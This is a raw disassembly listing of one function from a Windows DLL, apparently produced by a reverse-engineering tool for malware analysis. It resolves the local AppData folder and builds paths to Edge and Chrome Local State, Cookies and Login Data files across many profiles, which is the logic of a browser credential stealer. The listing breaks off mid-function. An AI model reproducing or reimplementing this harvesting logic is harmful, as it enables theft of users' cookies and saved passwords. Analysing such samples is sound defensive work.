Function at 0x180083d68
Capabilities:
Get common file path

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov r14, rcx
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x150]
call fcn.1800ad050
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor r15d, r15d
test eax, eax
je 0x180083dc7
lea eax, [r15 + 3]
jmp 0x180085abd
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x60], r15
mov ebx, 7
mov qword [rbp - 0x58], rbx
mov word [rbp - 0x70], r15w
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x70]
call fcn.1800095ac
nop
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], rbx
mov word [rbp - 0x50], r15w
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], rbx
mov word [rbp + 0x10], r15w
mov qword [rsp + 0x50], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r15w
lea rdx, str.000k
lea rcx, [rsp + 0x50]
call fcn.1800095ac
nop
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, str.aoiheig2222
lea rcx, [rsp + 0x30]
call fcn.1800095ac
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.180009ae4
nop
mov rdx, rax
lea esi, [rbx + 1]
cmp qword [rax + 0x18], rsi
jb 0x180083e8a
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x70]
call fcn.1800157dc
nop
lea rcx, [rsp + 0x70]
call fcn.180009548
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x50]
call fcn.180009548
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call fcn.1800095ac
lea rcx, [rbp + 0x10]
call fcn.180009548
mov ebx, 0x20
mov r8d, ebx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x10]
call fcn.1800ac6d0
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180009548
mov qword [rsp + 0x70], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r15w
lea rdx, str.ataLocal_State
lea rcx, [rsp + 0x70]
call fcn.1800095ac
nop
mov qword [rsp + 0x50], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r15w
lea rdx, str.ftEdgeUser_D
lea rcx, [rsp + 0x50]
call fcn.1800095ac
nop
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, str.Microso
lea rcx, [rsp + 0x30]
call fcn.1800095ac
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.180009ae4
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.180009ae4
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x180083fcb
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x10]
call fcn.1800157dc
nop
lea rcx, [rbp + 0x50]
call fcn.180009548
nop
lea rcx, [rbp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x50]
call fcn.180009548
nop
lea rcx, [rsp + 0x70]
call fcn.180009548
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], rsi
cmovae rdx, qword [rbp + 0x10]
call fcn.18007fc10
mov edi, 0x1000
mov r12d, 0xf
test eax, eax
je 0x180084cef
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call fcn.1800095ac
lea rcx, [rbp - 0x70]
call fcn.180009548
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1800ac6d0
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180009548
mov qword [rbp + 0x50], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rbp + 0x60], xmm0
mov word [rbp + 0x50], r15w
lea rdx, [0x1801043f0]
lea rcx, [rbp + 0x50]
call fcn.1800095ac
nop
mov qword [rsp + 0x70], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r15w
lea rdx, str.aultNetworkCook
lea rcx, [rsp + 0x70]
call fcn.1800095ac
nop
mov qword [rsp + 0x50], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r15w
lea rdx, str.er_DataDef
lea rcx, [rsp + 0x50]
call fcn.1800095ac
nop
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, str.MicrosoftEdgeUs
lea rcx, [rsp + 0x30]
call fcn.1800095ac
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x130]
call fcn.180009ae4
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.180009ae4
nop
lea r8, [rbp + 0x50]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.180009ae4
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x18008417e
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x70]
call fcn.1800157dc
nop
lea rcx, [rbp + 0x30]
call fcn.180009548
nop
lea rcx, [rbp + 0xd0]
call fcn.180009548
nop
lea rcx, [rbp + 0x130]
call fcn.180009548
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x50]
call fcn.180009548
nop
lea rcx, [rsp + 0x70]
call fcn.180009548
nop
lea rcx, [rbp + 0x50]
call fcn.180009548
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call fcn.1800095ac
lea rcx, [rbp - 0x50]
call fcn.180009548
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.1800ac6d0
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180009548
mov qword [rsp + 0x70], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r15w
lea rdx, [0x180104460]
lea rcx, [rsp + 0x70]
call fcn.1800095ac
nop
mov qword [rsp + 0x50], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r15w
lea rdx, str.ser_DataDefaultLogin_D
lea rcx, [rsp + 0x50]
call fcn.1800095ac
nop
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, str.MicrosoftEdgeU
lea rcx, [rsp + 0x30]
call fcn.1800095ac
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.180009ae4
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.180009ae4
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x1800842e8
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x50]
call fcn.1800157dc
nop
lea rcx, [rbp + 0x50]
call fcn.180009548
nop
lea rcx, [rbp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x50]
call fcn.180009548
nop
lea rcx, [rsp + 0x70]
call fcn.180009548
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], rsi
cmovae rdx, qword [rbp - 0x70]
call fcn.18007fc10
test eax, eax
je 0x180084730
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], rsi
cmovae rdx, qword [rbp - 0x50]
call fcn.18007fc10
test eax, eax
je 0x180084730
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov ecx, 0x60
call fcn.18008b3bc
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], rsi
cmovae rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x20]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x10]
cmovae rdx, qword [rbp + 0x10]
lea rcx, [rsp + 0x30]
call fcn.1800888c4
mov rbx, rax
mov qword [rbp - 0x30], r15
movdqa xmm0, xmmword [0x1801049c0]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], r15b
lea rdx, str.state
lea rcx, [rbp - 0x30]
call fcn.18000963c
mov qword [rbp - 0x10], r15
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1800ac6d0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r12
mov byte [rbx], r15b
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.180088544
nop
lea rcx, [rbp - 0x30]
call fcn.180008b24
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180084453
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, rdi
jb 0x18008444e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085ad5
call fcn.18008b3f8
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], rsi
cmovae rcx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x40]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x50]
cmovae rdx, qword [rbp - 0x50]
lea rcx, [rsp + 0x30]
call fcn.1800888c4
mov rbx, rax
mov qword [rbp - 0x30], r15
movdqa xmm0, xmmword [0x1801049c0]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], r15b
lea rdx, str.login
lea rcx, [rbp - 0x30]
call fcn.18000963c
mov qword [rbp - 0x10], r15
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1800ac6d0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r12
mov byte [rbx], r15b
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.180088544
nop
lea rcx, [rbp - 0x30]
call fcn.180008b24
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180084521
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, rdi
jb 0x18008451c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085adb
call fcn.18008b3f8
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], rsi
cmovae rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0xd0]
call fcn.1800888c4
mov rbx, rax
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r12
mov byte [rsp + 0x50], r15b
lea rdx, str.okies
lea rcx, [rsp + 0x50]
call fcn.18000963c
nop
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r12
mov byte [rsp + 0x30], r15b
lea rdx, [0x1800f6980]
lea rcx, [rsp + 0x30]
call fcn.18000963c
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
mov dl, byte [rbp + 0x3a8]
lea rcx, [rsp + 0x70]
call fcn.18000a868
nop
mov r8, rbx
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.180009a60
nop
mov r8, rax
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.180088544
nop
lea rcx, [rbp - 0x30]
call fcn.180008b24
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x18008461a
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x180084615
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085ae1
call fcn.18008b3f8
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r12
mov byte [rsp + 0x70], r15b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180084660
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, rdi
jb 0x18008465b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085ae7
call fcn.18008b3f8
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r12
mov byte [rsp + 0x30], r15b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1800846a8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x1800846a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085aed
call fcn.18008b3f8
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r12
mov byte [rsp + 0x50], r15b
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1800846f4
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, rdi
jb 0x1800846ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085af3
call fcn.18008b3f8
mov rax, qword [r14 + 0x40]
cmp rax, qword [r14 + 0x48]
je 0x180084711
lea rdx, [rbp + 0x30]
mov rcx, rax
call fcn.1800872e0
add qword [r14 + 0x40], 0x10
jmp 0x180084722
lea r8, [rbp + 0x30]
mov rdx, rax
lea rcx, [r14 + 0x38]
call fcn.180088a6c
nop
lea rcx, [rbp + 0x30]
call fcn.180016f20
mov ebx, 0x20
mov edi, 1
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call fcn.1800095ac
lea rcx, [rbp - 0x70]
call fcn.180009548
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1800ac6d0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180009548
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r15w
lea rdx, str.eUser_DataProfile
lea rcx, [rsp + 0x50]
call fcn.1800095ac
nop
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rdx, str.MicrosoftEdg
lea rcx, [rsp + 0x30]
call fcn.1800095ac
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.180009ae4
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x180084808
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x70]
call fcn.1800157dc
nop
lea rcx, [rsp + 0x70]
call fcn.180009548
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x50]
call fcn.180009548
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.18001089c
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x180084850
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x70]
call fcn.1800157dc
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
lea rcx, str.NetworkCookies
call fcn.1800ba350
mov r8, rax
lea rdx, str.NetworkCookies
lea rcx, [rbp - 0x70]
call fcn.1800157dc
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call fcn.1800095ac
lea rcx, [rbp - 0x50]
call fcn.180009548
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.1800ac6d0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180009548
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r15w
lea rdx, str.r_DataProfile
lea rcx, [rsp + 0x50]
call fcn.1800095ac
nop
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rdx, str.MicrosoftEdgeUse
lea rcx, [rsp + 0x30]
call fcn.1800095ac
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.180009ae4
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x18008495a
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x50]
call fcn.1800157dc
nop
lea rcx, [rsp + 0x70]
call fcn.180009548
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x50]
call fcn.180009548
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.18001089c
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x1800849a2
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x50]
call fcn.1800157dc
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
lea rcx, str.Login_Data
call fcn.1800ba350
mov r8, rax
lea rdx, str.Login_Data
lea rcx, [rbp - 0x50]
call fcn.1800157dc
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], rsi
cmovae rdx, qword [rbp - 0x70]
call fcn.18007fc10
test eax, eax
je 0x180084cdd
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], rsi
cmovae rdx, qword [rbp - 0x50]
call fcn.18007fc10
test eax, eax
je 0x180084cdd
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r15
mov ecx, 0x60
call fcn.18008b3bc
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], rsi
cmovae rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x20]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x10]
cmovae rdx, qword [rbp + 0x10]
lea rcx, [rsp + 0x30]
call fcn.1800888c4
mov rbx, rax
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r12
mov byte [rbp - 0x30], r15b
lea rdx, str.state
lea rcx, [rbp - 0x30]
call fcn.18000963c
mov qword [rbp - 0x10], r15
mov qword [rbp], r15
mov qword [rbp + 8], r15
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1800ac6d0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r12
mov byte [rbx], r15b
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.180088544
nop
lea rcx, [rbp - 0x30]
call fcn.180008b24
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180084b01
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180084afc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085aff
call fcn.18008b3f8
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], rsi
cmovae rcx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x40]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x50]
cmovae rdx, qword [rbp - 0x50]
lea rcx, [rsp + 0x30]
call fcn.1800888c4
mov rbx, rax
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r12
mov byte [rbp - 0x30], r15b
lea rdx, str.login
lea rcx, [rbp - 0x30]
call fcn.18000963c
mov qword [rbp - 0x10], r15
mov qword [rbp], r15
mov qword [rbp + 8], r15
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1800ac6d0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r12
mov byte [rbx], r15b
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x30]
call fcn.180088544
nop
lea rcx, [rbp - 0x30]
call fcn.180008b24
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180084bd1
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180084bcc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085b05
call fcn.18008b3f8
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], rsi
cmovae rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.1800888c4
mov rbx, rax
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r12
mov byte [rbp - 0x30], r15b
lea rdx, str.cookies
lea rcx, [rbp - 0x30]
call fcn.18000963c
mov qword [rbp - 0x10], r15
mov qword [rbp], r15
mov qword [rbp + 8], r15
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1800ac6d0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r12
mov byte [rbx], r15b
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x30]
call fcn.180088544
nop
lea rcx, [rbp - 0x30]
call fcn.180008b24
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180084ca1
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180084c9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085b0b
call fcn.18008b3f8
mov rax, qword [r14 + 0x40]
cmp rax, qword [r14 + 0x48]
je 0x180084cbe
lea rdx, [rbp + 0x30]
mov rcx, rax
call fcn.1800872e0
add qword [r14 + 0x40], 0x10
jmp 0x180084ccf
lea r8, [rbp + 0x30]
mov rdx, rax
lea rcx, [r14 + 0x38]
call fcn.180088a6c
nop
lea rcx, [rbp + 0x30]
call fcn.180016f20
mov ebx, 0x20
inc rdi
cmp rdi, 0x6d
jb 0x180084735
mov edi, 0x1000
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call fcn.1800095ac
lea rcx, [rbp + 0x10]
call fcn.180009548
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x10]
call fcn.1800ac6d0
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180009548
mov qword [rsp + 0x70], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r15w
lea rdx, str.ser_DataLocal_State
lea rcx, [rsp + 0x70]
call fcn.1800095ac
nop
mov qword [rsp + 0x50], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r15w
lea rdx, str.omeU
lea rcx, [rsp + 0x50]
call fcn.1800095ac
nop
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, str.GoogleChr
lea rcx, [rsp + 0x30]
call fcn.1800095ac
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.180009ae4
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.180009ae4
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x180084dfd
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x10]
call fcn.1800157dc
nop
lea rcx, [rbp + 0x50]
call fcn.180009548
nop
lea rcx, [rbp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x50]
call fcn.180009548
nop
lea rcx, [rsp + 0x70]
call fcn.180009548
lea rcx, str.a3325wwg
call fcn.1800ba350
mov r8, rax
lea rdx, str.a3325wwg
lea rcx, [rbp - 0x70]
call fcn.1800157dc
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], rsi
cmovae rdx, qword [rbp + 0x10]
call fcn.18007fc10
test eax, eax
je 0x180085a83
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call fcn.1800095ac
lea rcx, [rbp - 0x70]
call fcn.180009548
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1800ac6d0
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180009548
mov qword [rsp + 0x70], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r15w
lea rdx, str.kCookies
lea rcx, [rsp + 0x70]
call fcn.1800095ac
nop
mov qword [rsp + 0x50], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r15w
lea rdx, str.ser_DataDefaultNetwor
lea rcx, [rsp + 0x50]
call fcn.1800095ac
nop
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, str.GoogleChromeU
lea rcx, [rsp + 0x30]
call fcn.1800095ac
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.180009ae4
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.180009ae4
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x180084f86
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x70]
call fcn.1800157dc
nop
lea rcx, [rbp + 0x50]
call fcn.180009548
nop
lea rcx, [rbp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x50]
call fcn.180009548
nop
lea rcx, [rsp + 0x70]
call fcn.180009548
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call fcn.1800095ac
lea rcx, [rbp - 0x50]
call fcn.180009548
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.1800ac6d0
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
